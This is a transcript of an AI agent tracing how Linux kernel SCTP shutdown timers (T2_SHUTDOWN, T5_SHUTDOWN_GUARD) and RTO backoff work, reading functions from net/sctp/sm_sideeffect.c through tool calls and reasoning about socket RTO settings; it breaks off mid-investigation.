My immediate reaction to discovering that `T5_SHUTDOWN_GUARD` aborts an association after a mere 5ms was one of significant concern. This is an unacceptably short duration for a shutdown process, and it's clear that we need to prevent this timer from expiring prematurely, or alternatively, extend its duration significantly.

I then recalled that `T5_SHUTDOWN_GUARD` is directly tied to `asoc->rto_max`, specifically being five times its value. This suggests a straightforward path: increasing `rto_max` should proportionally increase `T5_SHUTDOWN_GUARD`, thereby addressing the short timeout issue.

However, a crucial question immediately arose: would increasing `rto_max` have any detrimental effects on other critical SCTP timers, particularly `T2_SHUTDOWN`? I know that `T2_SHUTDOWN` has its own timeout mechanism, governed by `asoc->timeouts[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN]`.

My memory then jogged to the behavior of `T2_SHUTDOWN` upon expiration: it *restarts* the timer. This is an important detail. My next step in this thought process would be to delve into the `sctp_cmd_interpreter` to understand exactly how `SCTP_CMD_TIMER_RESTART` is handled and, more importantly, what the specific timeout value is when a timer like `T2_SHUTDOWN` is restarted. Understanding this will be key to determining if increasing `rto_max` would indirectly impact the effective duration of `T2_SHUTDOWN` or its restart behavior.

map[ContextFile:net/sctp/sm_sideeffect.c Name:sctp_cmd_interpreter]

map[SourceCode:1274:	/* This is the side-effect interpreter.  */
1275:	static int sctp_cmd_interpreter(enum sctp_event_type event_type,
1276:					union sctp_subtype subtype,
1277:					enum sctp_state state,
1278:					struct sctp_endpoint *ep,
1279:					struct sctp_association *asoc,
1280:					void *event_arg,
1281:					enum sctp_disposition status,
1282:					struct sctp_cmd_seq *commands,
1283:					gfp_t gfp)
1284:	{
1285:		struct sctp_sock *sp = sctp_sk(ep->base.sk);
1286:		struct sctp_chunk *chunk = NULL, *new_obj;
1287:		struct sctp_packet *packet;
1288:		struct sctp_sackhdr sackh;
1289:		struct timer_list *timer;
1290:		struct sctp_transport *t;
1291:		unsigned long timeout;
1292:		struct sctp_cmd *cmd;
1293:		int local_cork = 0;
1294:		int error = 0;
1295:		int force;
1296:	
1297:		if (SCTP_EVENT_T_TIMEOUT != event_type)
1298:			chunk = event_arg;
1299:	
1300:		/* Note:  This whole file is a huge candidate for rework.
1301:		 * For example, each command could either have its own handler, so
1302:		 * the loop would look like:
1303:		 *     while (cmds)
1304:		 *         cmd->handle(x, y, z)
1305:		 * --jgrimm
1306:		 */
1307:		while (NULL != (cmd = sctp_next_cmd(commands))) {
1308:			switch (cmd->verb) {
1309:			case SCTP_CMD_NOP:
1310:				/* Do nothing. */
1311:				break;
1312:	
1313:			case SCTP_CMD_NEW_ASOC:
1314:				/* Register a new association.  */
1315:				if (local_cork) {
1316:					sctp_outq_uncork(&asoc->outqueue, gfp);
1317:					local_cork = 0;
1318:				}
1319:	
1320:				/* Register with the endpoint.  */
1321:				asoc = cmd->obj.asoc;
1322:				BUG_ON(asoc->peer.primary_path == NULL);
1323:				sctp_endpoint_add_asoc(ep, asoc);
1324:				break;
1325:	
1326:			case SCTP_CMD_PURGE_OUTQUEUE:
1327:			       sctp_outq_teardown(&asoc->outqueue);
1328:			       break;
1329:	
1330:			case SCTP_CMD_DELETE_TCB:
1331:				if (local_cork) {
1332:					sctp_outq_uncork(&asoc->outqueue, gfp);
1333:					local_cork = 0;
1334:				}
1335:				/* No chunk left in this packet may use this asoc. */
1336:				if (event_type == SCTP_EVENT_T_CHUNK &&
1337:				    chunk->asoc == asoc)
1338:					chunk->pdiscard = 1;
1339:				/* Delete the current association.  */
1340:				sctp_cmd_delete_tcb(commands, asoc);
1341:				asoc = NULL;
1342:				break;
1343:	
1344:			case SCTP_CMD_NEW_STATE:
1345:				/* Enter a new state.  */
1346:				sctp_cmd_new_state(commands, asoc, cmd->obj.state);
1347:				break;
1348:	
1349:			case SCTP_CMD_REPORT_TSN:
1350:				/* Record the arrival of a TSN.  */
1351:				error = sctp_tsnmap_mark(&asoc->peer.tsn_map,
1352:							 cmd->obj.u32, NULL);
1353:				break;
1354:	
1355:			case SCTP_CMD_REPORT_FWDTSN:
1356:				asoc->stream.si->report_ftsn(&asoc->ulpq, cmd->obj.u32);
1357:				break;
1358:	
1359:			case SCTP_CMD_PROCESS_FWDTSN:
1360:				asoc->stream.si->handle_ftsn(&asoc->ulpq,
1361:							     cmd->obj.chunk);
1362:				break;
1363:	
1364:			case SCTP_CMD_GEN_SACK:
1365:				/* Generate a Selective ACK.
1366:				 * The argument tells us whether to just count
1367:				 * the packet and MAYBE generate a SACK, or
1368:				 * force a SACK out.
1369:				 */
1370:				force = cmd->obj.i32;
1371:				error = sctp_gen_sack(asoc, force, commands);
1372:				break;
1373:	
1374:			case SCTP_CMD_PROCESS_SACK:
1375:				/* Process an inbound SACK.  */
1376:				error = sctp_cmd_process_sack(commands, asoc,
1377:							      cmd->obj.chunk);
1378:				break;
1379:	
1380:			case SCTP_CMD_GEN_INIT_ACK:
1381:				/* Generate an INIT ACK chunk.  */
1382:				new_obj = sctp_make_init_ack(asoc, chunk, GFP_ATOMIC,
1383:							     0);
1384:				if (!new_obj) {
1385:					error = -ENOMEM;
1386:					break;
1387:				}
1388:	
1389:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1390:						SCTP_CHUNK(new_obj));
1391:				break;
1392:	
1393:			case SCTP_CMD_PEER_INIT:
1394:				/* Process a unified INIT from the peer.
1395:				 * Note: Only used during INIT-ACK processing.  If
1396:				 * there is an error just return to the outter
1397:				 * layer which will bail.
1398:				 */
1399:				error = sctp_cmd_process_init(commands, asoc, chunk,
1400:							      cmd->obj.init, gfp);
1401:				break;
1402:	
1403:			case SCTP_CMD_GEN_COOKIE_ECHO:
1404:				/* Generate a COOKIE ECHO chunk.  */
1405:				new_obj = sctp_make_cookie_echo(asoc, chunk);
1406:				if (!new_obj) {
1407:					if (cmd->obj.chunk)
1408:						sctp_chunk_free(cmd->obj.chunk);
1409:					error = -ENOMEM;
1410:					break;
1411:				}
1412:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1413:						SCTP_CHUNK(new_obj));
1414:	
1415:				/* If there is an ERROR chunk to be sent along with
1416:				 * the COOKIE_ECHO, send it, too.
1417:				 */
1418:				if (cmd->obj.chunk)
1419:					sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1420:							SCTP_CHUNK(cmd->obj.chunk));
1421:	
1422:				if (new_obj->transport) {
1423:					new_obj->transport->init_sent_count++;
1424:					asoc->init_last_sent_to = new_obj->transport;
1425:				}
1426:	
1427:				/* FIXME - Eventually come up with a cleaner way to
1428:				 * enabling COOKIE-ECHO + DATA bundling during
1429:				 * multihoming stale cookie scenarios, the following
1430:				 * command plays with asoc->peer.retran_path to
1431:				 * avoid the problem of sending the COOKIE-ECHO and
1432:				 * DATA in different paths, which could result
1433:				 * in the association being ABORTed if the DATA chunk
1434:				 * is processed first by the server.  Checking the
1435:				 * init error counter simply causes this command
1436:				 * to be executed only during failed attempts of
1437:				 * association establishment.
1438:				 */
1439:				if ((asoc->peer.retran_path !=
1440:				     asoc->peer.primary_path) &&
1441:				    (asoc->init_err_counter > 0)) {
1442:					sctp_add_cmd_sf(commands,
1443:							SCTP_CMD_FORCE_PRIM_RETRAN,
1444:							SCTP_NULL());
1445:				}
1446:	
1447:				break;
1448:	
1449:			case SCTP_CMD_GEN_SHUTDOWN:
1450:				/* Generate SHUTDOWN when in SHUTDOWN_SENT state.
1451:				 * Reset error counts.
1452:				 */
1453:				asoc->overall_error_count = 0;
1454:	
1455:				/* Generate a SHUTDOWN chunk.  */
1456:				new_obj = sctp_make_shutdown(asoc, chunk);
1457:				if (!new_obj) {
1458:					error = -ENOMEM;
1459:					break;
1460:				}
1461:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1462:						SCTP_CHUNK(new_obj));
1463:				break;
1464:	
1465:			case SCTP_CMD_CHUNK_ULP:
1466:				/* Send a chunk to the sockets layer.  */
1467:				pr_debug("%s: sm_sideff: chunk_up:%p, ulpq:%p\n",
1468:					 __func__, cmd->obj.chunk, &asoc->ulpq);
1469:	
1470:				asoc->stream.si->ulpevent_data(&asoc->ulpq,
1471:							       cmd->obj.chunk,
1472:							       GFP_ATOMIC);
1473:				break;
1474:	
1475:			case SCTP_CMD_EVENT_ULP:
1476:				/* Send a notification to the sockets layer.  */
1477:				pr_debug("%s: sm_sideff: event_up:%p, ulpq:%p\n",
1478:					 __func__, cmd->obj.ulpevent, &asoc->ulpq);
1479:	
1480:				asoc->stream.si->enqueue_event(&asoc->ulpq,
1481:							       cmd->obj.ulpevent);
1482:				break;
1483:	
1484:			case SCTP_CMD_REPLY:
1485:				/* If an caller has not already corked, do cork. */
1486:				if (!asoc->outqueue.cork) {
1487:					sctp_outq_cork(&asoc->outqueue);
1488:					local_cork = 1;
1489:				}
1490:				/* Send a chunk to our peer.  */
1491:				sctp_outq_tail(&asoc->outqueue, cmd->obj.chunk, gfp);
1492:				break;
1493:	
1494:			case SCTP_CMD_SEND_PKT:
1495:				/* Send a full packet to our peer.  */
1496:				packet = cmd->obj.packet;
1497:				sctp_packet_transmit(packet, gfp);
1498:				sctp_ootb_pkt_free(packet);
1499:				break;
1500:	
1501:			case SCTP_CMD_T1_RETRAN:
1502:				/* Mark a transport for retransmission.  */
1503:				sctp_retransmit(&asoc->outqueue, cmd->obj.transport,
1504:						SCTP_RTXR_T1_RTX);
1505:				break;
1506:	
1507:			case SCTP_CMD_RETRAN:
1508:				/* Mark a transport for retransmission.  */
1509:				sctp_retransmit(&asoc->outqueue, cmd->obj.transport,
1510:						SCTP_RTXR_T3_RTX);
1511:				break;
1512:	
1513:			case SCTP_CMD_ECN_CE:
1514:				/* Do delayed CE processing.   */
1515:				sctp_do_ecn_ce_work(asoc, cmd->obj.u32);
1516:				break;
1517:	
1518:			case SCTP_CMD_ECN_ECNE:
1519:				/* Do delayed ECNE processing. */
1520:				new_obj = sctp_do_ecn_ecne_work(asoc, cmd->obj.u32,
1521:								chunk);
1522:				if (new_obj)
1523:					sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1524:							SCTP_CHUNK(new_obj));
1525:				break;
1526:	
1527:			case SCTP_CMD_ECN_CWR:
1528:				/* Do delayed CWR processing.  */
1529:				sctp_do_ecn_cwr_work(asoc, cmd->obj.u32);
1530:				break;
1531:	
1532:			case SCTP_CMD_SETUP_T2:
1533:				sctp_cmd_setup_t2(commands, asoc, cmd->obj.chunk);
1534:				break;
1535:	
1536:			case SCTP_CMD_TIMER_START_ONCE:
1537:				timer = &asoc->timers[cmd->obj.to];
1538:	
1539:				if (timer_pending(timer))
1540:					break;
1541:				fallthrough;
1542:	
1543:			case SCTP_CMD_TIMER_START:
1544:				timer = &asoc->timers[cmd->obj.to];
1545:				timeout = asoc->timeouts[cmd->obj.to];
1546:				BUG_ON(!timeout);
1547:	
1548:				/*
1549:				 * SCTP has a hard time with timer starts.  Because we process
1550:				 * timer starts as side effects, it can be hard to tell if we
1551:				 * have already started a timer or not, which leads to BUG
1552:				 * halts when we call add_timer. So here, instead of just starting
1553:				 * a timer, if the timer is already started, and just mod
1554:				 * the timer with the shorter of the two expiration times
1555:				 */
1556:				if (!timer_pending(timer))
1557:					sctp_association_hold(asoc);
1558:				timer_reduce(timer, jiffies + timeout);
1559:				break;
1560:	
1561:			case SCTP_CMD_TIMER_RESTART:
1562:				timer = &asoc->timers[cmd->obj.to];
1563:				timeout = asoc->timeouts[cmd->obj.to];
1564:				if (!mod_timer(timer, jiffies + timeout))
1565:					sctp_association_hold(asoc);
1566:				break;
1567:	
1568:			case SCTP_CMD_TIMER_STOP:
1569:				timer = &asoc->timers[cmd->obj.to];
1570:				if (timer_delete(timer))
1571:					sctp_association_put(asoc);
1572:				break;
1573:	
1574:			case SCTP_CMD_INIT_CHOOSE_TRANSPORT:
1575:				chunk = cmd->obj.chunk;
1576:				t = sctp_assoc_choose_alter_transport(asoc,
1577:							asoc->init_last_sent_to);
1578:				asoc->init_last_sent_to = t;
1579:				chunk->transport = t;
1580:				t->init_sent_count++;
1581:				/* Set the new transport as primary */
1582:				sctp_assoc_set_primary(asoc, t);
1583:				break;
1584:	
1585:			case SCTP_CMD_INIT_RESTART:
1586:				/* Do the needed accounting and updates
1587:				 * associated with restarting an initialization
1588:				 * timer. Only multiply the timeout by two if
1589:				 * all transports have been tried at the current
1590:				 * timeout.
1591:				 */
1592:				sctp_cmd_t1_timer_update(asoc,
1593:							SCTP_EVENT_TIMEOUT_T1_INIT,
1594:							"INIT");
1595:	
1596:				sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
1597:						SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
1598:				break;
1599:	
1600:			case SCTP_CMD_COOKIEECHO_RESTART:
1601:				/* Do the needed accounting and updates
1602:				 * associated with restarting an initialization
1603:				 * timer. Only multiply the timeout by two if
1604:				 * all transports have been tried at the current
1605:				 * timeout.
1606:				 */
1607:				sctp_cmd_t1_timer_update(asoc,
1608:							SCTP_EVENT_TIMEOUT_T1_COOKIE,
1609:							"COOKIE");
1610:	
1611:				/* If we've sent any data bundled with
1612:				 * COOKIE-ECHO we need to resend.
1613:				 */
1614:				list_for_each_entry(t, &asoc->peer.transport_addr_list,
1615:						transports) {
1616:					sctp_retransmit_mark(&asoc->outqueue, t,
1617:						    SCTP_RTXR_T1_RTX);
1618:				}
1619:	
1620:				sctp_add_cmd_sf(commands,
1621:						SCTP_CMD_TIMER_RESTART,
1622:						SCTP_TO(SCTP_EVENT_TIMEOUT_T1_COOKIE));
1623:				break;
1624:	
1625:			case SCTP_CMD_INIT_FAILED:
1626:				sctp_cmd_init_failed(commands, asoc, cmd->obj.u16);
1627:				break;
1628:	
1629:			case SCTP_CMD_ASSOC_FAILED:
1630:				sctp_cmd_assoc_failed(commands, asoc, event_type,
1631:						      subtype, chunk, cmd->obj.u16);
1632:				break;
1633:	
1634:			case SCTP_CMD_INIT_COUNTER_INC:
1635:				asoc->init_err_counter++;
1636:				break;
1637:	
1638:			case SCTP_CMD_INIT_COUNTER_RESET:
1639:				asoc->init_err_counter = 0;
1640:				asoc->init_cycle = 0;
1641:				list_for_each_entry(t, &asoc->peer.transport_addr_list,
1642:						    transports) {
1643:					t->init_sent_count = 0;
1644:				}
1645:				break;
1646:	
1647:			case SCTP_CMD_REPORT_DUP:
1648:				sctp_tsnmap_mark_dup(&asoc->peer.tsn_map,
1649:						     cmd->obj.u32);
1650:				break;
1651:	
1652:			case SCTP_CMD_REPORT_BAD_TAG:
1653:				pr_debug("%s: vtag mismatch!\n", __func__);
1654:				break;
1655:	
1656:			case SCTP_CMD_STRIKE:
1657:				/* Mark one strike against a transport.  */
1658:				sctp_do_8_2_transport_strike(commands, asoc,
1659:							    cmd->obj.transport, 0);
1660:				break;
1661:	
1662:			case SCTP_CMD_TRANSPORT_IDLE:
1663:				t = cmd->obj.transport;
1664:				sctp_transport_lower_cwnd(t, SCTP_LOWER_CWND_INACTIVE);
1665:				break;
1666:	
1667:			case SCTP_CMD_TRANSPORT_HB_SENT:
1668:				t = cmd->obj.transport;
1669:				sctp_do_8_2_transport_strike(commands, asoc,
1670:							     t, 1);
1671:				t->hb_sent = 1;
1672:				break;
1673:	
1674:			case SCTP_CMD_TRANSPORT_ON:
1675:				t = cmd->obj.transport;
1676:				sctp_cmd_transport_on(commands, asoc, t, chunk);
1677:				break;
1678:	
1679:			case SCTP_CMD_HB_TIMERS_START:
1680:				sctp_cmd_hb_timers_start(commands, asoc);
1681:				break;
1682:	
1683:			case SCTP_CMD_HB_TIMER_UPDATE:
1684:				t = cmd->obj.transport;
1685:				sctp_transport_reset_hb_timer(t);
1686:				break;
1687:	
1688:			case SCTP_CMD_HB_TIMERS_STOP:
1689:				sctp_cmd_hb_timers_stop(commands, asoc);
1690:				break;
1691:	
1692:			case SCTP_CMD_PROBE_TIMER_UPDATE:
1693:				t = cmd->obj.transport;
1694:				sctp_transport_reset_probe_timer(t);
1695:				break;
1696:	
1697:			case SCTP_CMD_REPORT_ERROR:
1698:				error = cmd->obj.error;
1699:				break;
1700:	
1701:			case SCTP_CMD_PROCESS_CTSN:
1702:				/* Dummy up a SACK for processing. */
1703:				sackh.cum_tsn_ack = cmd->obj.be32;
1704:				sackh.a_rwnd = htonl(asoc->peer.rwnd +
1705:						     asoc->outqueue.outstanding_bytes);
1706:				sackh.num_gap_ack_blocks = 0;
1707:				sackh.num_dup_tsns = 0;
1708:				chunk->subh.sack_hdr = &sackh;
1709:				sctp_add_cmd_sf(commands, SCTP_CMD_PROCESS_SACK,
1710:						SCTP_CHUNK(chunk));
1711:				break;
1712:	
1713:			case SCTP_CMD_DISCARD_PACKET:
1714:				/* We need to discard the whole packet.
1715:				 * Uncork the queue since there might be
1716:				 * responses pending
1717:				 */
1718:				chunk->pdiscard = 1;
1719:				if (asoc) {
1720:					sctp_outq_uncork(&asoc->outqueue, gfp);
1721:					local_cork = 0;
1722:				}
1723:				break;
1724:	
1725:			case SCTP_CMD_RTO_PENDING:
1726:				t = cmd->obj.transport;
1727:				t->rto_pending = 1;
1728:				break;
1729:	
1730:			case SCTP_CMD_PART_DELIVER:
1731:				asoc->stream.si->start_pd(&asoc->ulpq, GFP_ATOMIC);
1732:				break;
1733:	
1734:			case SCTP_CMD_RENEGE:
1735:				asoc->stream.si->renege_events(&asoc->ulpq,
1736:							       cmd->obj.chunk,
1737:							       GFP_ATOMIC);
1738:				break;
1739:	
1740:			case SCTP_CMD_SETUP_T4:
1741:				sctp_cmd_setup_t4(commands, asoc, cmd->obj.chunk);
1742:				break;
1743:	
1744:			case SCTP_CMD_PROCESS_OPERR:
1745:				sctp_cmd_process_operr(commands, asoc, chunk);
1746:				break;
1747:			case SCTP_CMD_CLEAR_INIT_TAG:
1748:				asoc->peer.i.init_tag = 0;
1749:				break;
1750:			case SCTP_CMD_DEL_NON_PRIMARY:
1751:				sctp_cmd_del_non_primary(asoc);
1752:				break;
1753:			case SCTP_CMD_T3_RTX_TIMERS_STOP:
1754:				sctp_cmd_t3_rtx_timers_stop(commands, asoc);
1755:				break;
1756:			case SCTP_CMD_FORCE_PRIM_RETRAN:
1757:				t = asoc->peer.retran_path;
1758:				asoc->peer.retran_path = asoc->peer.primary_path;
1759:				sctp_outq_uncork(&asoc->outqueue, gfp);
1760:				local_cork = 0;
1761:				asoc->peer.retran_path = t;
1762:				break;
1763:			case SCTP_CMD_SET_SK_ERR:
1764:				sctp_cmd_set_sk_err(asoc, cmd->obj.error);
1765:				break;
1766:			case SCTP_CMD_ASSOC_CHANGE:
1767:				sctp_cmd_assoc_change(commands, asoc,
1768:						      cmd->obj.u8);
1769:				break;
1770:			case SCTP_CMD_ADAPTATION_IND:
1771:				sctp_cmd_adaptation_ind(commands, asoc);
1772:				break;
1773:			case SCTP_CMD_PEER_NO_AUTH:
1774:				sctp_cmd_peer_no_auth(commands, asoc);
1775:				break;
1776:	
1777:			case SCTP_CMD_ASSOC_SHKEY:
1778:				error = sctp_auth_asoc_init_active_key(asoc,
1779:							GFP_ATOMIC);
1780:				break;
1781:			case SCTP_CMD_UPDATE_INITTAG:
1782:				asoc->peer.i.init_tag = cmd->obj.u32;
1783:				break;
1784:			case SCTP_CMD_SEND_MSG:
1785:				if (!asoc->outqueue.cork) {
1786:					sctp_outq_cork(&asoc->outqueue);
1787:					local_cork = 1;
1788:				}
1789:				sctp_cmd_send_msg(asoc, cmd->obj.msg, gfp);
1790:				break;
1791:			case SCTP_CMD_PURGE_ASCONF_QUEUE:
1792:				sctp_asconf_queue_teardown(asoc);
1793:				break;
1794:	
1795:			case SCTP_CMD_SET_ASOC:
1796:				if (asoc && local_cork) {
1797:					sctp_outq_uncork(&asoc->outqueue, gfp);
1798:					local_cork = 0;
1799:				}
1800:				asoc = cmd->obj.asoc;
1801:				break;
1802:	
1803:			default:
1804:				pr_warn("Impossible command: %u\n",
1805:					cmd->verb);
1806:				break;
1807:			}
1808:	
1809:			if (error) {
1810:				cmd = sctp_next_cmd(commands);
1811:				while (cmd) {
1812:					if (cmd->verb == SCTP_CMD_REPLY)
1813:						sctp_chunk_free(cmd->obj.chunk);
1814:					cmd = sctp_next_cmd(commands);
1815:				}
1816:				break;
1817:			}
1818:		}
1819:	
1820:		/* If this is in response to a received chunk, wait until
1821:		 * we are done with the packet to open the queue so that we don't
1822:		 * send multiple packets in response to a single request.
1823:		 */
1824:		if (asoc && SCTP_EVENT_T_CHUNK == event_type && chunk) {
1825:			if (chunk->end_of_packet || chunk->singleton)
1826:				sctp_outq_uncork(&asoc->outqueue, gfp);
1827:		} else if (local_cork)
1828:			sctp_outq_uncork(&asoc->outqueue, gfp);
1829:	
1830:		if (sp->data_ready_signalled)
1831:			sp->data_ready_signalled = 0;
1832:	
1833:		return error;
1834:	}
 SourceFile:net/sctp/sm_sideeffect.c]

gemini-3.1-pro-preview

							input: 53612
							output: 49
							thoughts: 896
						

**My Thoughts on SCTP Timer Behavior and RTO Configuration**

So, I'm looking at this `SCTP_CMD_TIMER_RESTART` case, and it's clear that when a timer restarts, it uses `asoc->timeouts[cmd->obj.to]` to determine the new timeout value. This means that `T2_SHUTDOWN` will always be `asoc->timeouts[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN]`, and `T5_SHUTDOWN_GUARD` will consistently map to `asoc->timeouts[SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD]`.

Now, what strikes me is how `T5_SHUTDOWN_GUARD` is initialized. I recall it's set in `sctp_association_init` as `5 * asoc->rto_max`. This is interesting because if I were to set `rto_max` to a significantly large value, that `T5_SHUTDOWN_GUARD` would also become quite substantial.

However, the `T2_SHUTDOWN` timeout, on the other hand, is initialized with `asoc->rto_initial`. So, if I were to set `rto_initial` to a very small value, say 1ms, `T2_SHUTDOWN` would start extremely low. This creates a stark contrast: a tiny `T2_SHUTDOWN` and potentially a massive `T5_SHUTDOWN_GUARD` if `rto_max` is large.

Let's consider this: what if I set `rto_initial` to 1ms and `rto_max` to 60000ms (a full minute)? This would make `T2_SHUTDOWN` start at 1ms, but `T5_SHUTDOWN_GUARD` would be initialized to a whopping 300 seconds (5 minutes)! That's a significant difference, and it seems like a configuration that could be quite beneficial for certain scenarios.

I'm double-checking the `sctp_setsockopt_rtoinfo` function to ensure this is valid. Ah, yes, I see the check: `if (rto_min > rto_max) return -EINVAL;`. This confirms that my proposed settings are permissible:

```c
    rtoinfo.srto_initial = 1;
    rtoinfo.srto_min = 1;
    rtoinfo.srto_max = 60000;
```
This setup ensures `T2_SHUTDOWN` begins at a mere 1ms.

But now a crucial question arises: does `T2_SHUTDOWN` actually increase its timeout exponentially, as the RTO timer typically does? I'm looking at `sctp_sf_t2_timer_expire`. It simply calls `sctp_add_cmd_sf` to restart the timer using `SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN)`. There's no explicit doubling of the timeout value here. I don't see any `sctp_cmd_t2_timer_update` or similar function that would handle exponential backoff for `T2_SHUTDOWN`.

This contradicts what RFC 4960 suggests. Section 6.3 explicitly states: "For the destination address for which the timer expires, set RTO <- RTO * 2 ("back off the timer"). The maximum value discussed in rule C7 above (RTO.max) may be used to provide an upper bound to this doubling operation." It seems that Linux SCTP might not be implementing this "back off" behavior for `T2_SHUTDOWN` directly within the timer expiration handler. I need to investigate further, perhaps by examining `sctp_do_8_2_transport_strike` to see if that's where the RTO doubling logic is actually applied in conjunction with this timer.

map[ContextFile:net/sctp/sm_sideeffect.c Name:sctp_do_8_2_transport_strike]

map[SourceCode: 541:	/* RFC 2960 8.2 Path Failure Detection
 542:	 *
 543:	 * When its peer endpoint is multi-homed, an endpoint should keep a
 544:	 * error counter for each of the destination transport addresses of the
 545:	 * peer endpoint.
 546:	 *
 547:	 * Each time the T3-rtx timer expires on any address, or when a
 548:	 * HEARTBEAT sent to an idle address is not acknowledged within a RTO,
 549:	 * the error counter of that destination address will be incremented.
 550:	 * When the value in the error counter exceeds the protocol parameter
 551:	 * 'Path.Max.Retrans' of that destination address, the endpoint should
 552:	 * mark the destination transport address as inactive, and a
 553:	 * notification SHOULD be sent to the upper layer.
 554:	 *
 555:	 */
 556:	static void sctp_do_8_2_transport_strike(struct sctp_cmd_seq *commands,
 557:						 struct sctp_association *asoc,
 558:						 struct sctp_transport *transport,
 559:						 int is_hb)
 560:	{
 561:		/* The check for association's overall error counter exceeding the
 562:		 * threshold is done in the state function.
 563:		 */
 564:		/* We are here due to a timer expiration.  If the timer was
 565:		 * not a HEARTBEAT, then normal error tracking is done.
 566:		 * If the timer was a heartbeat, we only increment error counts
 567:		 * when we already have an outstanding HEARTBEAT that has not
 568:		 * been acknowledged.
 569:		 * Additionally, some tranport states inhibit error increments.
 570:		 */
 571:		if (!is_hb) {
 572:			asoc->overall_error_count++;
 573:			if (transport->state != SCTP_INACTIVE)
 574:				transport->error_count++;
 575:		 } else if (transport->hb_sent) {
 576:			if (transport->state != SCTP_UNCONFIRMED)
 577:				asoc->overall_error_count++;
 578:			if (transport->state != SCTP_INACTIVE)
 579:				transport->error_count++;
 580:		}
 581:	
 582:		/* If the transport error count is greater than the pf_retrans
 583:		 * threshold, and less than pathmaxrtx, and if the current state
 584:		 * is SCTP_ACTIVE, then mark this transport as Partially Failed,
 585:		 * see SCTP Quick Failover Draft, section 5.1
 586:		 */
 587:		if (asoc->base.net->sctp.pf_enable &&
 588:		    transport->state == SCTP_ACTIVE &&
 589:		    transport->error_count < transport->pathmaxrxt &&
 590:		    transport->error_count > transport->pf_retrans) {
 591:	
 592:			sctp_assoc_control_transport(asoc, transport,
 593:						     SCTP_TRANSPORT_PF,
 594:						     0);
 595:	
 596:			/* Update the hb timer to resend a heartbeat every rto */
 597:			sctp_transport_reset_hb_timer(transport);
 598:		}
 599:	
 600:		if (transport->state != SCTP_INACTIVE &&
 601:		    (transport->error_count > transport->pathmaxrxt)) {
 602:			pr_debug("%s: association:%p transport addr:%pISpc failed\n",
 603:				 __func__, asoc, &transport->ipaddr.sa);
 604:	
 605:			sctp_assoc_control_transport(asoc, transport,
 606:						     SCTP_TRANSPORT_DOWN,
 607:						     SCTP_FAILED_THRESHOLD);
 608:		}
 609:	
 610:		if (transport->error_count > transport->ps_retrans &&
 611:		    asoc->peer.primary_path == transport &&
 612:		    asoc->peer.active_path != transport)
 613:			sctp_assoc_set_primary(asoc, asoc->peer.active_path);
 614:	
 615:		/* E2) For the destination address for which the timer
 616:		 * expires, set RTO <- RTO * 2 ("back off the timer").  The
 617:		 * maximum value discussed in rule C7 above (RTO.max) may be
 618:		 * used to provide an upper bound to this doubling operation.
 619:		 *
 620:		 * Special Case:  the first HB doesn't trigger exponential backoff.
 621:		 * The first unacknowledged HB triggers it.  We do this with a flag
 622:		 * that indicates that we have an outstanding HB.
 623:		 */
 624:		if (!is_hb || transport->hb_sent) {
 625:			transport->rto = min((transport->rto * 2), transport->asoc->rto_max);
 626:			sctp_max_rto(asoc, transport);
 627:		}
 628:	}
 SourceFile:net/sctp/sm_sideeffect.c]

gemini-3.1-pro-preview

							input: 56056
							output: 44
							thoughts: 75
						

**My Thought Process**

Ah, I've just spotted something interesting regarding SCTP's retransmission timeout (RTO) behavior, specifically during a "transport strike," which I understand to be a situation where a transport address becomes unreachable or fails. My initial thought is, "Okay, so `sctp_do_8_2_transport_strike` is indeed doubling the `transport->rto`." This seems like a standard mechanism to increase the RTO after a failure, giving the network more time to recover or for alternative paths to be utilized.

But then, a follow-up question immediately pops into my mind: does `sctp_max_rto` play a role in updating `asoc->timeouts[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN]`? This is crucial because `T2_SHUTDOWN` is a timeout specifically related to the graceful shutdown procedure in SCTP. If `sctp_max_rto` is influencing this particular timeout, it suggests a more intricate interplay between general RTO management and specific state-related timeouts.

Given that I'm an expert in this area, I know that RTO doubling after a strike is a well-understood part of the congestion control and reliability mechanisms. However, the direct link between `sctp_max_rto` (which I assume caps the RTO) and a shutdown-specific timer like `T2_SHUTDOWN` needs verification. It could be that `sctp_max_rto` acts as a ceiling for *all* RTO-related timers, including those for shutdown, or there might be a more nuanced relationship. Therefore, my next logical step is to dive into the implementation of `sctp_max_rto` to understand exactly how it functions and if it directly impacts `asoc->timeouts[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN]`. This verification is key to a complete understanding of the shutdown timeout's behavior under varying network conditions and RTO policies.

map[ContextFile:net/sctp/sm_sideeffect.c Name:sctp_max_rto]

map[SourceCode: 255:	/* helper function to track stats about max rto and related transport */
 256:	static inline void sctp_max_rto(struct sctp_association *asoc,
 257:					struct sctp_transport *trans)
 258:	{
 259:		if (asoc->stats.max_obs_rto < (__u64)trans->rto) {
 260:			asoc->stats.max_obs_rto = trans->rto;
 261:			memset(&asoc->stats.obs_rto_ipaddr, 0,
 262:				sizeof(struct sockaddr_storage));
 263:			memcpy(&asoc->stats.obs_rto_ipaddr, &trans->ipaddr,
 264:				trans->af_specific->sockaddr_len);
 265:		}
 266:	}
 SourceFile:include/net/sctp/sctp.h]

gemini-3.1-pro-preview

							input: 56422
							output: 43
							thoughts: 236
						

**A Deep Dive into SCTP's T2 Shutdown Timer Behavior**

My current line of inquiry revolves around the specifics of the T2 shutdown timer within the SCTP (Stream Control Transmission Protocol) implementation. I've been examining the `sctp_max_rto` function and realized that its primary role is to update statistical counters, not to directly influence the RTO (Retransmission Timeout) value for individual connections or associations. This led me to a critical question: when the T2 shutdown timer expires, which RTO value is actually used? Is it `transport->rto` or `asoc->timeouts[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN]`?

